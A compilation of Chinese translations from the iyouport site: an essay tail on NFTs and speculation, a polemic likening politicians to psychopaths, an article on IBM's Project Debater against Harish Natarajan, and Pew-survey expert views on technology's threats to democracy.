虽然“免费”的数字内容只有使用价值（因为它的交换价值实际上是零），但**NFTs**却有可能只有交换价值，其意义完全被钱所取代。(最著名的NFTs的最重要的品质是它们的拍卖价格)。这使NFTs的乌托邦式的承诺复杂化 —— 艺术家将获得更多的报酬，而没有Web 2.0经常需要的那种权衡，艺术将在面对其媒介的强大激励时保持其完整性，NFTs可能以某种方式避免成为单纯的“内容”。

尽管这些作品在技术上具有不可替代性，但它们必须在不断要求更大的可替代性和易于流通的系统中取得成功。投机的“稀缺性”，被重塑为“赞助”，*并不会*自动使创作者和粉丝之间的关系更加紧密；它同样可能进一步疏远这些关系。

如果说**Web 2.0**的问题之一是它要求不断地过度生产，那么**NFT**的投机倾向几乎没有纠正这种情况，反而鼓励创造者和赞助者下更多的赌注。正如今年早些时候 GameStop 的挤兑事件所表明的那样，投机和交换价值可以成为他们自己的娱乐形式。看着数字上升是很有趣的——尤其是当一个人在其中有赌注的时候就更有趣了。

社交媒体早已是一个点赞和分享的记分牌；而通过代币化的投机将其提升到了一个新的水平。

这种类型的娱乐—— 数量的奇观—— 使人们不再需要质量的奇观，因为质量的奇观缺乏对个人钱包的直接吸引力。那么，不仅仅是信息想要变得昂贵，似乎人们自己也希望它变得昂贵了。〇

Paid in Full

原文

政客和精神病态之间的区别是什么？ - iyouport

社会反抗和思考

【2020年4月14日存档】并不是脸上写着专制的那些政客才是真的专制。精神病态政客完全可以以令人信服的方式博取人们的主动认同，主动交出自己的权利变成奴隶

“政治人物比普通民众更容易成为反社会行为者。所有精神病/反社会型人格障碍领域的专家都不会质疑这点 ……这对我们的社会来说是极为痛苦的，但它确实解释了很多现象，无耻的欺骗性政治行为就是其中之一。” —— 哈佛大学医学院临床心理学家和前任讲师 Martha Stout 博士。

二十年前，一个报纸头条提出了这样一个问题：“政客和精神病态之间的区别是什么？”

曾经和现在的答案都是相同的：没有区别。

漠不关心、冷漠无情、自私、不负责任、寄生的罪犯，与对选民撒谎的官员之间没有区别，他们对选民的意愿视而不见、欺骗纳税人辛苦赚来的钱、拥护企业精英、巩固军事工业综合体、并丝毫不去考虑他们的轻率行动和匆忙通过的立法可能对无力防守的公民造成的威胁。

精神病态和政治人物都有趋向于自私、冷酷、无情地利用他人、不负责任、病态的欺骗、吹嘘、花言巧语、缺乏同理心和肤浅的倾向。

具有超凡魅力的政治家，就如犯罪心理变态者那样，表现出无法为自己的行为承担责任，具有高度的自我优越感，长期处于不稳定状态，具有社交偏离性和寄生性的生活方式，需要不断的刺激，并且拥有不切实际的目标。

不论您是谈论哪个党派的政客，都是如此。

政治上的精神病态患者在很大程度上都是用相同的方式掩盖自己，令

他们充满了看似轻松的魅力，并且拥有精明的头脑。正是这些领导人最终制造了病态：极权社会专心于权力和控制，并破坏正常的自由和行使自由权的任何人。

一旦精神病态者获得了权力，结果通常是某种形式的极权政府或病态统治。

作家 James G. Long 指出：“政府的行为损害了大部分本国人民的利益，只偏爱某些群体。我们目前正在目睹社会公民的两极分化，非法行为、以及大规模的和不必要的债务。这是系统性精神病态的典型特征，在苏联过度扩张和崩溃时，发生了非常相似的事。”

它标志着民主政府的灭亡，并为军国主义、僵化、不宽容和不人道的极权主义政权奠定了基础。

令人难以置信的是，尽管有明确证据表明精神病态政府已经对国家及其公民造成了损害，但选民仍在继续选择精神病态者担任权力和影响力职位。

调查记者 Zack Beauchamp 表示：“ 2012年，一群心理学家根据历史上每位总统的人格数据得出的心理疾病特征估值，评估了从华盛顿到小布什的所有总统。他们发现，总统往往具有精神病态者特有的无畏和低焦虑水平，这些特征似乎可以帮助这一职务，但是，也可能使他们做出鲁莽的决定，从而伤害他人的生活。”

优先考虑权力的意愿高于一切，包括高于其同胞的福利、冷酷无情、缺乏同理心和完全缺乏良心，这是反社会人格的主要特征。

当我们自己的政府不再将我们视为具有尊严和价值的人，而是视为要操纵的对象、挖掘数据的目标、和由警察控制的事物时，人们已经不得不真正开始思考这个关于每个人最大利益的问题。

如果我们不敢走出困境，就会继续承受被虐待、被入狱、被不公正惩罚的境遇 —— 我们将不再会能在宪政共和下运作。取而代之的是一种病态统治：精神病态政府的暴政。

更糟糕的是，心理病理学分析不仅限于担任政府高级职务的人。它可以像病毒一样在人群中传播。

一项关于病态统治的学术研究得出结论：“暴政之所以盛行，是因为人们积极地将那些促进恶行的人视为道德的”。

人们不仅会排队并向他们致敬，有些人甚至还会成为恶的代理人。

Alex Haslam 教授说，很大程度上取决于领导者如何 “培养追随者的认同感”。

“一个很明显的事情是，当权者最喜欢谈论的是 ‘我们’ 而不是 ‘我’，而领导力实际上是在培养这种关于 ‘我们’ 的共同认同感，然后，就能使人们以当权者所希望的方式行事 ……”。

就如当权者最喜欢宣称 “国家安全”，事实上这个词只是 “政权稳固” 的委婉说法；暗示 “国家” 是为了暗示其中有 “人民”，事实上到处都没有人民，一切都是为了当权者自己的利益。

现代公司制国家的目标是显而易见的：在其公民之间促进、培养和嵌入一种共同认同感。为此，“我们人民” 就等同于 “我们这个警察国家”。

“我们人民” 正在迅速沦为奴隶，以屈服于一种面目全非的、官僚主义的专制政府机构，该机构通过无数的法律法规和禁令无情地侵蚀着人民的自由。

对这种政权的任何抵抗都取决于选择反击的人心中舆论的力量。这意味着公民必须非常小心，以避免与压迫性政权同步。

- 《你是在有史以来最重要的战斗中战斗》

Beauchamp 为 ThinkProgress 撰写的文章中指出，“解决恶性当权者的最佳方法之一可能就是政治民主。”

但这实际上意味着什么？

这意味着要使用公民所有可用的手段使政客对自己的行为负责：通过调查性新闻报道、通过与揭露腐败的举报人合作、对不当行为提出质疑的诉讼，以向人们提供启发和信息；并通过抗议和大规模的政治行动，提醒人们当权者所谓的“我们人民”是什么。

- 《警惕中国当局对举报人概念的污染》
- 《他们是如何抓捕说真话的人？⚠灾难和教训》

请记住，教育先于行动。公民需要努力学习有关政府在做什么、以及如何要求政府负责的公民职能。

不要让自己只存在于回音室中 —— 不要限于那些仅仅您同意的观点的小圈子。让自己去接触多种独立的媒体资源，让自己开始思考。

- 为什么小圈子不会让你成功《记住：目标始终是要让异议思想成为主流》

因此，无论您的政治倾向如何，都不要让您的党派偏见胜过构成宪法共和国基础的原则。

正如 Beauchamp 所指出的那样："实际上能够使人们对更广泛的社会负起责任的体制可能是使昧良心的人受到控制的最佳方法之一。"

也就是说，如果人们仅仅允许投票箱成为唯一反击警察国家的手段，那么这场战斗就已经失败了。

抵抗将需要一群愿意在地方一级活跃的公民。

如果您等到特警队冲进家门时才开始行动、等到您自己的名字被列入了"重点监视黑名单"才开始行动，那就晚了。

"我们"不是一堆无意义的数字、不是权力机器上的齿轮、不是奴隶。

"我们"是人类，如果我们不懈地倡导自己的权利，并在任何时候都能站起来抵制政府试图将我们置于束缚之中的企图，我们就还能有一定程度的自由。

公民的自由并非来自政府，自由天生就是我们的。同样，政府的存在之所以被允许绝不是为了威胁或破坏公民的自由，而是捍卫公民的自由。

如果它不能做到，那就不配成为公民的政府。

直到我们回到这种思考方式，直到我们能提醒同胞们回到这种思考方式，自由才能有真正的意味，除非公民能在面对自由受到威胁时站稳立场，否则将继续被当作奴隶对待，只能继续向由那些政治精神病态经营的官僚警察国家臣服。〇

上图中这本书在这里下载：https://t.me/iyouport/6914

原文

政治辩论的局限 - iyouport

社会反抗和思考

IBM 调教了一台机器来进行政治辩论。然而，它暴露了人类的政治辩论中关于修辞说服的局限性 ……

【按】这些年来不断有读者通过各种方式询问我们的意识形态定位，包括试图为我们定位 —— “IYP是左翼吗？”；但 IYP 始终在淡化意识形态的影响。我们主张从事实出发、以共同愿景为导向，和所有人一起思考共同的问题和拟定解决方案，不考虑意识形态队形，不考虑圈子共识。这在意识形态鲜明（极化）的舆论场上似乎有些格格不入。但必须说，真正的辩论就应该如此，即 事实论据的充分性是为真正的力量。否则就很容易变成胡搅蛮缠。

本文讲述的是一个人工智能新项目，它以特殊的方式将这个问题突出出来了。

2011年2月，一位名叫诺姆·斯洛尼姆 (Noam Slonim) 的以色列计算机科学家提议建造一台机器，在一些似乎与人类密不可分的事情上比人类做得更出色，即：关于政治的争论。

斯洛尼姆在特拉维夫的一家 IBM 研究机构工作，他在那几天前自豪地看到该公司的自然语言处理机器 “沃森”（Watson）赢得了智能挑战赛 “危险边缘（Jeopardy）”。之后，IBM 向其全球实验室网络中的数千名研究人员发送了一封电子邮件，征集继 “危险边缘” 项目之后的 “大挑战” 想法。

斯洛尼姆想到，他们可能会尝试制造一台能够击败冠军辩论手的机器。他做了一个单一的幻灯片演示，然后又做了一个更复杂的演示，然后又做了一个更更更复杂的演示，经过与其他许多IBM研究人员的多轮竞争，斯洛尼姆赢得了建造他的机器的机会，他称之为 “辩论者项目”。

最近，斯洛尼姆告诉记者说，他唯一的愿望是，当真正的政治辩论开始时，“辩论者项目” 能有美女演员斯嘉丽·约翰逊的声音。不过这没

有实现，相反，它被赋予了一个可识别的机器人声音，都不如Siri那么灵活。这是基于机器人技术的一个基本原则：机器不应该欺骗人类，让他们以为自己是在与任何一个真人互动，更不用说是一个被《Esquire》杂志两次评为“最性感的女人”的人类了。

像这种巨头公司内部的科学工作有时会像在学术实验室中一样让人感觉其与世隔绝和投机。不难想象，企业可能会利用斯洛尼姆的编程 —— 也就是说，他们可能会用一台非常有说服力的机器来代替任何与人类互动的其他人类。

然而，斯洛尼姆设在特拉维夫的团队不应该考虑这些，他们的全部任务应该仅仅是赢得一场政治辩论。对斯洛尼姆来说，这是个很大的要求。**IBM**制造的计算机曾在国际象棋比赛和琐事上击败过人类冠军，这给人们留下了人工智能接近“人类智慧”的印象，斯洛尼姆告诉我。他认为这是一个“误导性的概念”。斯洛尼姆身材修长，脸色苍白，剃着光头，戴着眼镜，他对人工智能没有通常的吹捧，相反他对这项技术的新颖性有一种轻微的羞涩感。对他来说，这个“政治辩论项目”是向现实迈出的半步。

辩论是一种竞技游戏，就像琐事或国际象棋，因为它有特定的规则和结构，可以被编纂并教给机器。但是，它也像现实生活一样，目标是说服人类听众改变他们的想法，要做到这一点，机器需要了解人类对世界的看法。

- 如果您错过了《反说服》

由于他的博士专业，斯洛尼姆对机器学习已经很熟悉了。当涉及到政治辩论时，他唯一的权威是国家—— 他向记者指出，以色列人经常争论不休，而且他认为他自己的家人比大多数人争论得都要多。但IBM的大量资源被用于该项目，在政治动荡的十年中，这个辩论机器人项目逐渐成形—— 这是一种教育。

这台年轻的机器通过扫描 LexisNexis Academic 的电子图书馆来“学习”，该图书馆由新闻报道和学术期刊文章组成，是人类经验细节的庞大数据库。一个引擎搜索主张，另一个引擎搜索证据，还有两个引擎对前两个引擎发现的所有内容进行定性和分类。如果斯洛尼姆的团队能够正确设计，那么，在人类辩论者被给予的短暂准备时间内，机器可以整理出大量的经验信息。它可以在证据上获胜。

2016年，一位辩论冠军为该项目提供了咨询，他注意到，尽管机器在提取事实和主张方面有很多便利，但机器的思维方式并不像一个人类

辩论者。斯洛尼姆回忆说："他告诉我们，'对我来说，辩论是否禁止卖淫，或是否禁止售酒，基本上是一样的。我将使用同样的论据'"。斯洛尼姆意识到，"论证类型"的数量有限，而这些是机器需要学习的模式。有多少种论证类型？团队中的计算机科学家丹·拉哈夫（Dan Lahav）也曾是一名辩论冠军，他估计有50到70种论证类型，可以应用于几乎所有可能的辩论问题。而对于IBM来说，这还不算多。

斯洛尼姆描述了"辩论者项目"的第二阶段，这在某种程度上是手工制作的。斯洛尼姆团队的专家们撰写了他们自己的模块化论据，部分依靠斯坦福哲学百科全书和其他文本。他们试图训练机器像人一样去推理。

2019年2月，这台机器进行了第一次大型公开辩论，由智慧平方(Intelligence Squared)公司在旧金山主办。对手是三十一岁的英国经济顾问哈里什·纳塔拉扬，几年前他曾是世界大学辩论锦标赛的亚军。

在他们上台之前，每个参赛者都被告知了主题，并被分配到一个阵营，然后被分配了15分钟的时间来做准备。辩论机器人将论证学前教育应该由公众补贴，而纳塔拉扬则要论证为什么不应该。这个辩论机器人滚动浏览 LexisNexis，收集证据并将其分类。纳塔拉扬却没有这样做。(他回忆说，他的第一个想法是想了解下这个话题：在美国，对学前教育的补贴是否真的有争议？—— 很简单，因为他是人类，他不会像机器那样不加思考地盲目服从指挥。）

纳塔拉扬在测试赛前被阻止看到这个辩论机器人的行动，但他被告知，机器人有一个四亿份文件的数据库。"我当时想，'哦，天哪'，这可是我几辈子都无法吸收的知识量"，纳塔拉扬说。相反，他会承认这个辩论机器人的信息是准确的，并对其结论提出质疑。"人们经常说，事实胜于雄辩，但在这个时代，这绝对不是事实"，纳塔拉扬说。他准备布置一个微妙的陷阱，以便把机器人绕进去。机器人会准备好争论"是"，期望纳塔拉扬争论"否"。相反，他会说："是的，但是……"。

这台机器是一座闪亮的黑塔，被放置在舞台右侧，用一种轻快的声音说话，这种声音被故意校准为既不完全像人类的声音，也不完全像机器人的声音。它以一个编排好的剧本中的笑话开始，然后展开了它的论点。

"几十年来，研究表明，高质量的学前教育是公共资金的最佳投资之一，与那些没有同样机会的儿童相比，经历学前教育的孩子考试成绩更好，生活更成功"。机器继续引用研究的支持性结论：对学前教育

的投资通过改善健康和经济来减少成本，同时也减少了犯罪和福利依赖。它引用了前“总理高夫·惠特拉姆”（澳大利亚前总理）在1973年发表的声明，惠特拉姆说补贴学前教育是一个社会可以做出的最好的投资 …… 如果这一切听起来有点高高在上，那就对了，这个辩论机器人还引用了“圣约瑟夫RC小学的高级领导”的话，就像政治家一样，洒脱地提到了普通人。辩论机器人听起来的确有点像政客，它不经意地引用了道德的第一原则。关于学前教育，它说：“支持他们是我们的责任”。我倒是很想知道，机器和观众有什么责任？

纳塔拉扬站在舞台左侧的讲台后面，身穿灰色三件套，说话时声音轻快而自信。他决定不对辩论机器人收集的证据提出质疑，这产生了一种解放的效果：这使他能够争辩说，机器人对这个问题采取了错误的方法，使人们注意到一个参赛者是人类，而另一个不是人类的事实。“有多种对社会有益的东西”，他说，“这可能包括，在美国这样的国家，增加对医疗保健的投资，这通常也会对教育产生回报”—— 辩论机器人的消息来源可能也会注意到这是有益的。纳塔拉扬已经确定了该机器人试图进行的那种以专家为导向的论证，而且，他没有在事实上进行竞争，而是依靠某种类型的论证模式。

记者第一次观看旧金山的这场辩论时认为纳塔拉扬赢了。他把辩论机器人所描述的世界翻转过来了，让观众怀疑电脑是否从正确的角度看待了问题，而这似乎是决定性的手法。在房间里的观众也把票投给了人类。IBM击败了国际象棋手卡斯帕罗夫，并击败了“危险边缘”项目的人类冠军，但它在与哈里什·纳塔拉扬的比赛中落败。

但是，当第二次、第三次观看辩论时，记者注意到，纳塔拉扬从未真正反驳过辩论机器人的基本论点，即 学前教育补贴将为自身带来回报，并产生更安全、更繁荣的社会。当他试图反驳时，他可能会脱口而出，甚至到了荒谬的地步：有一次，纳塔拉扬声称学前教育可能是“特别有害的”，因为它可能迫使学龄前儿童认识到同伴比他自己更聪明，这将造成“巨大的心理伤害”。

在第三次观看结束时，记者觉得人类和机器与其说是在竞争，不如说是在展示不同的争论方式。辩论机器人做的是关于学前教育的争论，纳塔拉扬所做的事既抽象又容易辨认，就是您依旧在华盛顿、在有线电视网络和日常生活中经常看到的那种情况—— 他是在对辩论的性质进行论证。

记者把这些辩论的视频发给了阿瑟·阿普尔鲍姆，他是哈佛大学肯尼迪学院政治学教授，他长期以来一直在撰写关于对抗性系统及其缺点的文章。

他说，“首先，这些以色列人工智能科学家是非常聪明的，我不得不说，这简直就是魔术”。但是，阿普尔鲍姆问，魔术的目的是什么？(像纳塔拉扬一样，他想把这个问题倾斜过来)。让人工智能总结和引导人们争论的方式的理由是，它可能会揭示出潜在的问题。但阿普尔鲍姆认为，这个理由听起来很弱。“如果我们有擅长做这件事的人类，我们去听他们做辩论，我们会不会对自己面临的政治问题有更深入、更复杂的理解，从而成为更知情的公民？这就是潜在的价值主张”，阿普尔鲍姆说，“直截了当地的答案是：不会的。”

在阿普尔鲍姆看来，为这场辩论选择的特殊对抗形式起到了提升技术问题、掩盖道德问题的作用。观众将纳塔拉扬选为辩论的赢家。但是，阿普尔鲍姆问，他的论点究竟是什么？“他提出了标准的反对意见：这在实践中是行不通的，而且会造成浪费，还会有意想不到的后果”，他说，“如果你逐条审视纳塔拉扬的论点就会发现，那里几乎没有任何东西”。纳塔拉扬击败计算机的方式，在某种程度上是提出一个政策问题并剥夺它所有有意义的细节。“这不是他的错，他没有办法做到与计算机掌握的事实调查相抗衡。所以，相反，他只是在胡说八道”。

IBM将旧金山的辩论会等公共活动作为人与机器的对决来举办，强调了两者之间的竞争。但是，在目前的水平上，人工智能技术的运作更像是一面镜子：它们向人类学习，并告诉人类一些关于我们已知的东西和我们如何思考的局限性。斯洛尼姆的团队已经成功地教会了机器模仿人类的辩论模式，但这并不完美。我们人类 —— 或者，至少是哈里什·纳塔拉扬—— 在这方面仍然更出色。但机器在另一个方面要厉害得多—— 就是收集和分析证据，包括统计和观察证据。有补贴的学前教育是否有利于社会？其中一个立场是支持的。辩论机器人更有可能为正确的答案提供有力的证据，但却不太可能说服人类听众相信它是真的。大厅里的观众希望辩论机器人更像一个人类：更流畅，更有感情，更善于操纵抽象的概念。但是，如果我们的目标是一种更具体、更有经验的辩论方式，我们就需要人工智能更像一台机器，提供大量有用的有组织的信息，把废话留给人类。

无论你是像斯洛尼姆的顾问和纳塔拉扬那样在辩论的世界里呆上数年，还是像我最近那样只呆上几天，你都会发现它的模式无处不在。打开CNN，你会很快发现政客或专家们把一个具体的问题变成了一个抽象的问题。当我上周通过视频电话联系到斯洛尼姆时，我发现自从旧金山的辩论以来，他已经留起了胡子，这使他看起来更老道，更有反思精神。他身上有一种我以前没有见过的理想主义的气息。他一直致力于利用辩论机器人的算法来分析网上有哪些反对接种COVID-19

疫苗的论点。他告诉我，他希望这些算法可以用来使政治争论更具有经验性。

也许，有一天，每个人的智能手机上都会有一个论据检查器，就像语法检查那样，这将帮助人们提出不仅有说服力而且真实的论据。斯洛尼姆说：“这是一个有趣的问题，关于在多大程度上可以利用这项技术来提高年轻人的能力，以更理性的方式分析复杂的话题”。

我发现令人感动的是，这项技术中最具有变革潜力的部分，即 让论证更具有经验性和真实性，也是使辩论机器人看起来最像电脑机器的地方。斯洛尼姆认为这是一个面向下一代的项目，一个可能超越当前政治两极分化水平的项目。他沮丧地说道：“我们这一代也许已经迷失了”。〇

The Limits of Political Debate

原文

数字技术究竟是会杀死民主，还是拯救民主？：这个10年 - iyouport

社会反抗和思考

【2020年11月6日存档】来自皮尤，这是一份重要的讨论……

> 大约有一半的专家回答说，人们对技术的使用将在很大程度上削弱民主和民主代表制的核心方面，并且即使那些表示乐观的人也在此表示了担忧。

这篇文章记录了所有受访者的回应，关于他们对这个十年之内技术对民主的影响的主要问题的看法。这些担忧由七个主题组成；综合起来就是目前民主面临的最主要问题的一个概述。

我们翻译这部分内容的原因是希望追求民主变革的中国读者能对当下存在的最明显障碍有一个更为清楚的认识；这是寻求解决方案以构建真正的民主的基础。

赋予强大的权力：科技公司和政府的议程通常不符合民主目标、无法实现民主结果。它们只服务于权势的目标

「图」

一位互联网先驱、技术开发者和管理者预言：

“到2030年，世界上多达75%的人口将被中国开发并出口到世界各地的基于人工智能的监控系统所奴役。这些系统将使每个公民7*24地处于被监视之下，监控他们的一举一动。”

亚利桑那州立大学沃尔特·克朗凯特新闻与大众传播学院新闻联合实验室的联合创始人、数字媒体素养实践教授 *Dan Gillmor*：

“各国政府（及其企业合作伙伴）都在广泛地利用数字技术创建监控

国家，以及通过完全不负责任的黑匣子算法来制定法律，这远远超出了奥威尔的任何想象。

理论上这只能发生在一个无心保护自由的、或者很容易被引导/压制而放弃自由的社会里，但是如今这种情况正在越来越多的西方民主国家里发生。

公众偏执的重新抬头与技术本身无关，除非偏执者利用技术来促进他们的恶性目标。

与此同时，那些本应保护自由的机构 —— 其中就包括新闻业 —— 大多都没有做到这一点。在极少数司法管辖区，人们已经说服领导人对这些侵犯行为进行反击，比如旧金山部分禁止政府使用面部识别。

但是，侵犯行为是压倒性的，而且还在加速。”

- 《禁止面部识别能做到什么，不能做到什么》
- 需要怎么做《我们遗落的骨骸》

加州大学洛杉矶分校信息研究教授 *Leah Lievrouw*：

“到目前为止，几乎没有任何一个民主国家或制度梳理出如何应对这种对民主进程基本合法性的挑战，我的猜测是，只有发生一场深刻的、破坏稳定的危机（也许是由专制主义、民族主义或文化民族主义的兴起而促成的）才会促使人们认真应对。”

程序员、顾问、*EFF*先驱 *Seth Finkelstein* ：

“沃伦·巴菲特说过，‘阶级战争，没错，但发动战争的是我的阶级，即富人阶级，而我们正在获胜’。我们可以研究这种阶级战争是如何随着科技的进步而变化的，类似于军事战争是如何受到科技影响的。

但迄今为止，没有任何一种武器化的技术能让民主必然战胜独裁（或反之亦然）。

比如，曾经有一种豪言壮语，说普通人做网站并宣传就能获得非常罕见的事业成功。但是，现在这种神话早就过时了。人们已经明白，互联网上的内容被推广的背后是一整套你看不见的操纵系统，算法的统治。拿钱办事的职业骗子既能自己做网站，又能比任何业余的人更好地把玩这个系统。

- 《网络水军如何不断操纵您在社交媒体上看到的内容》

目前美国人对俄罗斯 trolls 深感恐慌，但本土的 trolls 也在做同样的事，有更多的技术、激励和机会，任何人都可以做到。”

- 推荐报告《看清信息战：2019全球有组织社交媒体操纵清单》

‘以人为本’互联网联盟执行主任 *David Bray*：

“叙事的力量正是它们塑造和制度化人类社区的规范和权力分配的能力。……然而现在，我们的世界比我们眼前的环境要宽广得多，这有危险的副作用，比如在达成共识或对某一情况的相关事实进行争议时面临挑战。

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

我们看到开放社会中的两极分化日益严重，部分原因是我们想去哪里的问题没有以能够转化为行动的方式加以考虑。

一个更大的问题是，不同的地方在取得进步的同时，想往哪里去，他们想珍视什么样的价值观或准则？这是一个跨部门的问题。没有任何一个组织或有影响力的人或有权力的团体能够单独回答或执行朝向那个理想的未来状态的行动。

如果没有找到建立跨部门的桥梁的方法，权力 —— 通过垄断叙事、法律或技术 —— 将被任何渴望它的人所攫取。

未来的一个重要问题是，我们能否建立这样的跨部门的桥梁？我们的分歧是否会成为我们作为开放、多元社会的败笔？人们能否为开放的、多元的社会发展出有希望的叙述，使人们团结起来？”

西班牙格拉纳达大学哲学教授、伦理学、认识论和技术专家 *Miguel Moreno*：

“私人公司或国家行为者对社交网络、互联网和任何未经审查的公民表达平台进行偏见、操纵、滥用监视和专制控制的风险，已经显而易见。国家行为者正在推动一些举措，将自己与共同的互联网隔离开来，并减少关键基础设施对网络攻击的脆弱性。

这对民主和公民具有严重的影响。在具有技术能力和高度集中化的政治结构的国家，存在着通过限制社会竞争、限制言论自由和侵蚀公民权利来获得党派优势的有利条件”。

- 《互联网巴尔干化已经是一个非常严重的全球政治问题》

驻欧洲的企业家 *Richard Jones*：

“政府将以不可预见的方式滞后于国家和企业行为者对数据的利用。有偏见的审查制度和宣传攻势，都将影响舆论，人们对和平有序地改善社会所必需的机构和人物的信心将进一步崩溃。

歇斯底里的诽谤攻击将进一步加剧，有偏见的技术官僚集团思想将继续向独裁主义迈进。只有魅力型领导人才能蓬勃发展。专制主义将在其他地方扎根。

- 他指的是《景观政治》
- 《中国政府已攀上景观政治的边缘》

在线偏好调查可能会被开发出来以指导政府面临的许多选择，但不清楚这是否能以有益的方式纠正当前的民主赤字。就像在古腾堡进程中一样，伴随着‘自由放任’信息的消化，将是对世俗和宗教价值和目标的重新评估。”

驻英国的系统架构师 *John Sniadowski*：

“事实证明，由于各国政府的议程各不相同，很难对跨国公司进行监管。

在全球范围内制定一套控制跨国公司的规则是不可能发生的，因为一些主权国家对议程的控制非常不自由，而且等级森严，他们认为技术是用自己的议程支配公民的一种方式，同时也可以影响他们认为是敌对国家的民主观点。技术可以被武器化。”

- 《互联网主权的全球崛起：这意味着什么？》

独立技术顾问 *Kevin Gross* ：

“技术可以改善民主也可以破坏民主，这取决于如何使用技术以及谁来控制技术。

现在，技术的控制高度集中化，被太少的人所掌握。这极少数人不会心甘情愿地分享。

我预计到2030年，这种情况不会有大的改变。历史知道，当大量的权力集中在少数人手中时，其结果绝对对多数人不利，对民主不利。”

美国行为研究与技术研究所高级心理学家 *Robert Epstein*：

“截至2015年，世界上有多达25个国家选举的结果都是由谷歌的搜索引擎决定的。

- 详见《看不见的独裁》

原本设想的民主无法在技术寡头目前的授权下生存。如果当局不采取行动遏制这些技术寡头 —— 谷歌、Facebook 以及未来几年可能出现的类似公司 —— 的权力，到2030年，民主在普通公民看来可能和现在很像，但公民对谁赢得选举和民主制度如何运行将不再有太多的发言权。

上图中的两份论文在这里看到：https://www.patreon.com/posts/bu-shi-jian-shi-38160078

我的研究 —— 涉及数万名参与者和五次全国性选举的数十次随机对照实验表明，仅谷歌搜索结果就可以在人们不知情和不留痕迹的情况下，轻而易举地转移超过20%的未定选民 —— 在某些人口群体中高达80%。

研究还表明，搜索建议可以将未决定选民的五五分账变成九一分账 —— 同样是在人们不知道自己受到影响的情况下。算法联想的内容可以将搜索引擎操纵效应的影响额外增加10%到30%。

我已经发现了十几种类似的主要是潜移默化的效果，目前正在研究和量化其中的七种。2018年的选举日，谷歌在主页上发布的 ‘去投票’ 提示，让一个政党获得的选票至少比其对手多80万张 —— 如果该提示是针对受青睐的政党的，可能会多更多。 ”

一位长期居住在南非的互联网权利活动家：

”能否有效控制国家政府和技术寡头的权力，是当前最主要的斗争。精灵已经出瓶，对于西方国家已经被破坏的民主制度来说，这不是一个好兆头。

现在全球网络战争的状态已经存在，并且很可能在未来十年内持续下去。

不管是美国还是中国，国家支持的科技公司的寡头垄断将很难打破。

区分谷歌还是阿里巴巴早已是老生常谈 —— 两者都得到了各自政府的大量支持 —— 谷歌靠的是没有能管得住它的反垄断法，阿里巴巴靠的是国家对中国竞争力的保护。”

- 更多内容见 列表-2 “监视资本主义的世界”

互联网的先驱架构师、互联网政策专家 *David P. Reed*：

“2030年的‘民主’将只剩下一个名字而已。企业对用户行为的广泛监控和对用户行为的修改机制正变得如此复杂，以至于民主结构国家的公民利益将不再得到任何有意义的代表。

也就是说，通过收集海量的用户偏好和反应信息，以及使用针对性极强的行为修改技术，公民的选择将越来越多地被那些能够有钱推动该系统的人的利益所操纵。

目前的民主形式将公民的参与限制在每隔几年一次的选举活动中，在这些活动中，议题和候选人被政党组织成针对性极强的单一投票活动，而这些活动并不代表个人的利益。

相反，一小部分具有挑衅性的“楔子”议题成为公民选择的全部焦点。这不是公民利益的代表。它是一种被控制的民意，可以很容易地通过现代技术所擅长的那种行为修正来操纵。”

最重要的全球新闻组织之一的一位技术编辑和记者：

“我不太相信负责确保网上言论是文明的并遵守真实和公平标准的机构能够战胜专制政府和强大的私营部门行为者利用网络空间达到狭隘政治目的的倾向 ……

互联网从来没有一个有效的、具有相当影响力的管理机构来制定政策，以保证全球范围内的网络中立性，抑制审查制度，并适用《世界人权宣言》等公约。此外，少数道德准则受到质疑的平台已经成为网络世界的主宰。有些平台由政府主导。另一些平台只效忠于股东”。

- 这本书讲明了所有问题《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

《*A Celebration Society*》的作者 *Jonathan Kolber*：

“深度造假将彻底混淆事实与虚假之间的区别，即使是现在，也很少有公民有能力做出这种区分。这将对民主制度和程序产生毁灭性的影响。……

我们越来越多地看到乔治·奥威尔的噩梦在展开，因为政府学会了利用联网智能设备（电视、智能手机等）进行全方面的监控。当物联网延

伸到智能汽车、智能家居等东西时，反乌托邦已经是最为普遍的、无止境的。

政府也因此更容易重新定义现实和历史叙事。”

- 《“你的” 叙事》

一位计算机科学教授：

“人工智能技术，尤其是机器学习，有一个反馈循环，对先发者有强烈的优势。Google 能够积累更多有关用户搜索行为的数据，也因此用户体验“更好”。

这种态势本身就具有垄断性，甚至比之前的技术进步更甚。利用这些技术构建的大规模心理操纵能够按需塑造舆论，其影响力和威力是20世纪极权政府梦寐以求的。

- 具体见《看不见的独裁》

我们可以肯定，今天的监管情绪要么会随着什么都不做而消散，要么更有可能成为进一步巩固现有垄断的驱动力，创造出任何竞争者都无法逾越的技术要求。民主体制将很难对抗这种动态。Uber的所谓 ‘灰球’ 计划，旨在击败监管和任何有意义的审计，这就是是未来的预兆。”

《谷歌、*Facebook*和亚马逊如何垄断文化和破坏民主》一书的作者 *Jonathan Taplin*：

“社交媒体将继续促成新的、更复杂的政治宣传和虚假信息形式。人工智能的发展将使普通公民最容易上当受骗的深度假视频成为可能。Facebook、YouTube 和 Twitter 只会无休止地追逐收入。

政客们会假惺惺地表示需要监管，但由于这些平台将成为他们广告和宣传的主要来源，他们永远不会承诺真正的改变。”

致力于令人工智能以最大限度发挥人类潜能的智库 *Socos Labs* 的创始顾问 *Bulbul Gupta*：

“鉴于目前科技和人工智能所有权的现状，我预计到2030年，民主将在富人和穷人之间变得更加不平等，被迅速抛在后面的大众将发生重大起义。

科技和人工智能由它们的创造者，也就是最顶尖的1%的人所拥有，在社会的每一个部门，关于100%的人所做的决定，几乎没有透明度，没有人的判断力，也没有太多的追索权，在面对面的情况下就不会做出同样的决定。人们将需要自己能掌握的人工智能保护自己的基本公民权利和人权。”

【注：他在强调技术民主化的必要性。让公民掌握技术，这是最近几年的热门议题】

居住在巴西里约热内卢的互联网先驱和数字权利领袖 *Carlos Afonso*：

“Thomas Piketty 和其他人表明，如果有的话，不平等现象在各地都在加剧。

民主被理解为政治进程中的多元参与，涉及政府代表的选举（所谓的公正）选择，以及制定政策、立法和法规的决策过程，在这些条件下都无法生存。……

联合国社区最伟大的成就之一是达成了试图在2030年之前实现17个可持续发展目标的共识。然而，各种国内和国家间的冲突，使我们对这些目标的基本组成部分如何在全球范围内实现并没有任何希望。

此外，(部分是由于以金融投机者为首的日益严重的经济危机的各种表现)，增加资源以满足大多数人的基本需求的可能性非常小。

